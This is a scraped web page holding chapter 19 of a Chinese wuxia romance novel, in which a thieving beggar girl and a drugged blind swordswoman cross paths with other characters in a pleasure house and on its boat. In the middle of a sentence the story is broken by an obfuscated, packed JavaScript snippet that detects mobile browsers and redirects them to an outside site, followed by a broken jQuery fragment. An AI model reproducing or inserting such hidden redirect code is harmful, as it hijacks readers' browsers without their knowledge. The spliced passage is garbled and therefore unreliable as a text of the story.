默认冷灰
24号文字
方正启体

19. 三更夜

作者:真真来也本书字数:K更新时间:
    于惜铁翻白着眼睛被使劲往后拽,章裁之慌乱无措,放下身上不便行动的药匣便冲了上去。


    身后人像只猴子似的攀在他肩头,一脚蹬着他的背,手里紧紧扯着两截破布。


    “松手啊大侠,要出人命了!”


    章裁之正要大喊救命,一团物什便被掷过来塞进口中,他愣了一下,是半个冷馒头。


    于惜铁涨红了脸,鼓着腮转过身,两只手铁一般焊在那人瘦弱的肩头。


    他师出庖丁会,掌握江湖鼎鼎有名的分筋错骨手,拇指掐在骨节处轻轻一拧,便有裂骨之痛。


    方才偷袭的人松手弹到一边,章裁之才看清了他的模样。


    浑身烂布的小乞丐,瘦猴一般嵌着两只溜溜转的圆眼睛,瓜皮帽,破布鞋,裤脚一高一低,露出枯瘦的脚踝。


    薛小堂被方才那一招痛得张不开嘴,支支吾吾喊道:“你,什么功夫?”


    “在下不才,分筋错骨手,五分力。”于惜铁抱着胳膊,收起笑容打量着面前的小乞丐,“你这乞儿,从哪儿混进藏玉楼的,竟然偷袭你爷爷我。”


    薛小堂站起身,黑漆漆的眼睛盯着于惜铁,“爷爷?你知道我爷爷是谁吗?”


    “我猜你爷爷是老乞丐。”于惜铁不给薛小堂说话的机会,走上前亮出自己一向藏在衣领里的砍肉刀,“纵你是丐帮的,进了我藏玉楼也是羊入虎口,说,来干嘛的?”


    “姑奶奶我——”听到于惜铁咳了一声,薛小堂收了声,“小乞儿我是在外面不当心惹到个怪人,这才躲进来的,结果那人一追进来,现下却没了踪影。总之我四处去躲,才误闯此地。”


    “什么怪人?”于惜铁好奇。他跟随藏玉楼来到清桥,还没听说大街上有什么怪人,担心这小乞丐撒谎,眼里多了几分威慑。


    薛小堂叹了口气:“一个瞎子,漂亮瞎子,发了疯追我,说我偷了她东西。也不知哪来的力气,明明眼盲还拄着拐杖,竟然飞檐走壁追了我几条巷子,可累坏爷爷我了。”


    于惜铁:“你还会飞檐走壁?”


    章裁之:“漂亮瞎子!”


    两人的目光齐齐汇在章裁之身上,后者神色忽明忽暗,陷入深思。


    漂亮,瞎子,外加武功高强,他能想到的唯有一人。


    霍铃七!


    也就是说霍铃七现在身在藏玉楼,就在这时他飘移的目光落在薛小堂身上,一眼便看见了她腰间一抹抓眼的蓝。


    不等薛小堂遮掩,他伸手将那只浅蓝荷包抢了下来,看着上面熟悉的图案不禁深吸了一口气:“这是霍女侠的荷包。”


    于惜铁听懂了他的话,将雪亮的刀刃靠近薛小堂的小脸,咬牙道:“你这小乞儿还真偷了人家东西?真是死性不改!”


    “说罢,送你去见官,还是我私下处理?”他点着下巴。


    一旁章裁之愣愣地盯着手中荷包,脸色难看。霍铃七虽说身携武功,可毕竟眼睛看不见,腿脚也不方便。藏玉楼是虎狼之地,危机四伏,一旦踏入,会发生什么也不得知晓。


    想之他忙问:“追你的那个人去哪儿了?”


    薛小堂愣了一下,翘着二郎腿挠挠头发,“我怎么知道,许是被人拦在藏玉楼外面,自己回去了吧。”


    “绝不可能,霍女侠此人执拗非凡,这枚荷包又对她很重要,她绝对不会回头。一定在藏玉楼里。”章裁之道。


    “那我更是无从知晓了,藏玉楼这么大,我是为了躲她,怎会反过来去寻她的踪影。”她吹着口哨,叉腰站在两只放有蔬果的木箱上,不忘提醒章裁之,“你知道一个盲女,尤其是漂亮的盲女在酒楼里会发生什么吗?”


    章裁之突然发了火,狠狠瞪了薛小堂一眼,连自己随身的药匣都忘了带便冲了出去,“还不都怪你!霍女侠要是出了什么事,你这乞丐也别想活!”


    “她武功高强你有什么好担心,我倒担心这藏玉楼会不会被她烧了。”薛小堂屈身从木箱缝里使劲儿掏一颗烂果子,起身时感到身后人两束严苛的目光冰冷地烙在背脊。


    于惜铁伸手将她拽起,大有磨刀霍霍向猪羊的意思。


    “老弟,你别着急啊,我帮你找那什么什么姑娘。”


    他大喊。


    *


    阁内地龙正生着融融的暖意,随从将孟璃观送入门,轻声介绍:“公子移步前方便是暖阁,若有什么事,可扯动铃绳唤我们。”


    他们上前脱下孟璃观的氅衣搭在臂弯处,后退离开。


    阁中有两只镌刻羽纹,昂首相望的金鹤式香薰葳蕤生香,孟璃观缓缓转身,清瘦的影子映在那盏玉刻松柏纹屏风上,他抬起手背至身后,屏风上的影子也随着变动。


    静静的水流声被阻隔在朱色纱帐后,混成一道模糊的轻响。


    一盆矮子松,沐在莲枝灯的光晕下。


    熏香,临水,矮子松......的的确确都是他所喜爱的,纪胜武还真是下了功夫。


    瓷叶实在太过迟钝,直到池鱼笼鸟的地步,方才看出此人的狼子野心。


    孟璃观随手斟了杯茶,果然,也是他一向爱饮的鸦山云绿。


    他还真的好奇,纪胜武还能做出什么让自己意外的花样。


    一道轻微如猫的脚步声探近,紧接着的是阵利可破风的剑风。


    孟璃观眉头一蹙,将手中杯盏连茶带杯掷了出去。


    刹那,他指尖紧锁剑刃,而那只铜制茶杯则稳当当被人握在掌中。


    剑刃从他指缝间逃脱,复刺过来。孟璃观闪身,一手勾起小巧的茶壶,细长的壶嘴弹开锋刃,浇上滚烫的茶水。


    那人步步紧逼,脚步在摇晃的船板上发出清晰的响动。


    茶壶跟随他上下抵挡,倏被一剑刺穿,可怜地悬在剑头。


    孟璃观退至屏风后,隔着纱幔看到持剑者迅捷的身影,交叠细长的胳膊,更胜三重剑影,从上至下划破屏上松柏。


    长剑惊险地擦过面颊,他冷静偏过头,钳住来人的小臂,一掌推了过去。


    裂开的屏风间,少女面容清丽,灯下更是惑人,双眸如漂浮在池塘间的含露芙蓉,唇瓣因吃痛还轻抿着,是方才从画屏上摘下的伞瓣红梅。


    孟璃观愣了一下,反应不及咲命便紧贴着他的面颊划过。


    霍铃七扶着胳膊,轻手轻脚摸索着从撕裂的屏风间迈了过来。


    呼啸的江风裹挟着水草的咸腥穿过罗幔透了进来,他们在一艘画舫上,彼时江心月白,天地落雪如絮。


    “你,是谁?”


    霍铃七吞着声,吐字用力,那是一种中了迷药后努力抵抗药性的力度。


    “这里是什么地方,快说!”她站在摇晃的船板


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499571|185992||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上,用长剑挑破了纱帐缠在上面稳住。


    孟璃观后退两步,继而踹翻了一只软凳。


    他背靠着湿漉漉的木墙,向前摔了过去。并看准霍铃七的双肩,将她压在身下。


    霍铃七愣了一下,感受到一阵薄近的温热呼吸。


    “你是谁?”她挣扎。


    孟璃观眼睛一亮,唇角上扬露出笑容:“大侠,是我啊。”


    霍铃七听出了孟璃观的声音,怔愣一下后依旧毫不留情地将咲命抵上他喉头,“起来说话。”


    “你怎么会在这儿?你知道这是哪儿?”霍铃七站定,缓慢收刀入鞘。


    孟璃观轻笑,话语间捎带些苦闷:“我哪里会知晓这等宝地?本想着进酒楼买只泡酒鸭回去,谁承想让人骗进了藏玉楼,险些被打断了腿丢出去。”


    霍铃七隐隐察觉到不对,指节处被茶水烫红,方才跟自己交手的人显然不是情急之时的胡乱出手,气定神闲,有章有法。她不得将狐疑的目光转向身侧那个正哀叹不幸的教书先生,一边擦拭着长剑,一边问:“你会武?”


    “我若会武,也不会任你打骂羞辱了。”孟璃观转头,洗刷地光亮的木板上霍铃七正盘腿坐着,水青色素裙,发丝凌乱散在肩头,指尖从剑柄比到剑锋。


    他出声解释:“我方才进来时见到一个人在与你过招,便捡起凳子就扔了过去。他看到我便趁机逃出去了。霍姑娘,你没事吧?”


    “没事。那个人身上有几分功夫,应当是藏玉楼的人。”霍铃七垂着眼睛,虽然看不见但能感觉到行动时周身的晃动,“这是条船?”


    她站起身,竹杖在潮湿的木板上一滑,整个人摇摇晃晃俯身倾倒。一只手在她腰间扶住,然后是孟璃观的声音,“是藏玉楼的画舫。”


    霍铃七不悦:“粗制滥造,这藏玉楼内里也吞了太多了。”


    孟璃观盯着她的脸,问道:“你怎么会出现在这儿。”


    “是一个小贼——”霍铃七这才想起自己丢失的荷包,摸了摸衣襟下摆,懊恼道,“她偷了我的荷包,我为了捉贼才误闯了藏玉楼。里面那些挨千刀的,阻拦不成耍阴招,一棒子给我敲晕,醒来就在这儿了。”


    她耳畔响着一团嗡鸣,眼前金星直冒,四肢绵软地扶住了灯架。


    一只青釉莲花烛台摔在地上,按灭了余火。


    霍铃七勉强抬起眼睛,从眼下到面颊已经红了一片,口中不休:“卑鄙无耻,给姑奶奶下了迷药。”


    方才她都是硬撑着,现下那种无力的感觉通通返了上来,她像一截绸缎慢慢地滑落下来。


    “霍姑娘?”孟璃观扶住她,顺手一把她的脉搏,此脉象的确是中了迷药。


    藏玉楼养了一帮子制药炼丹的人,瓷叶懒得管教,竟然把力气往这不入流的歪道上使。


    霍铃七感受到孟璃观握着自己的手,匆忙将手抽回,不咸不淡回道:“你占我便宜。”


    “我在探你的脉象,帮你解迷药,你说我占你便宜?那全天下的郎中岂不都是风流成性的采花贼?这污名,我可不担。”


    说着他扯过霍铃七的手臂,将衣袖向上撸起,从掌心向上点过三五个穴位,防止迷药再扩散。


    “不行,我身上好热。”


    霍铃七迷蒙间开口,手不自觉扯开衣领,颈后仍是一片赤红。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)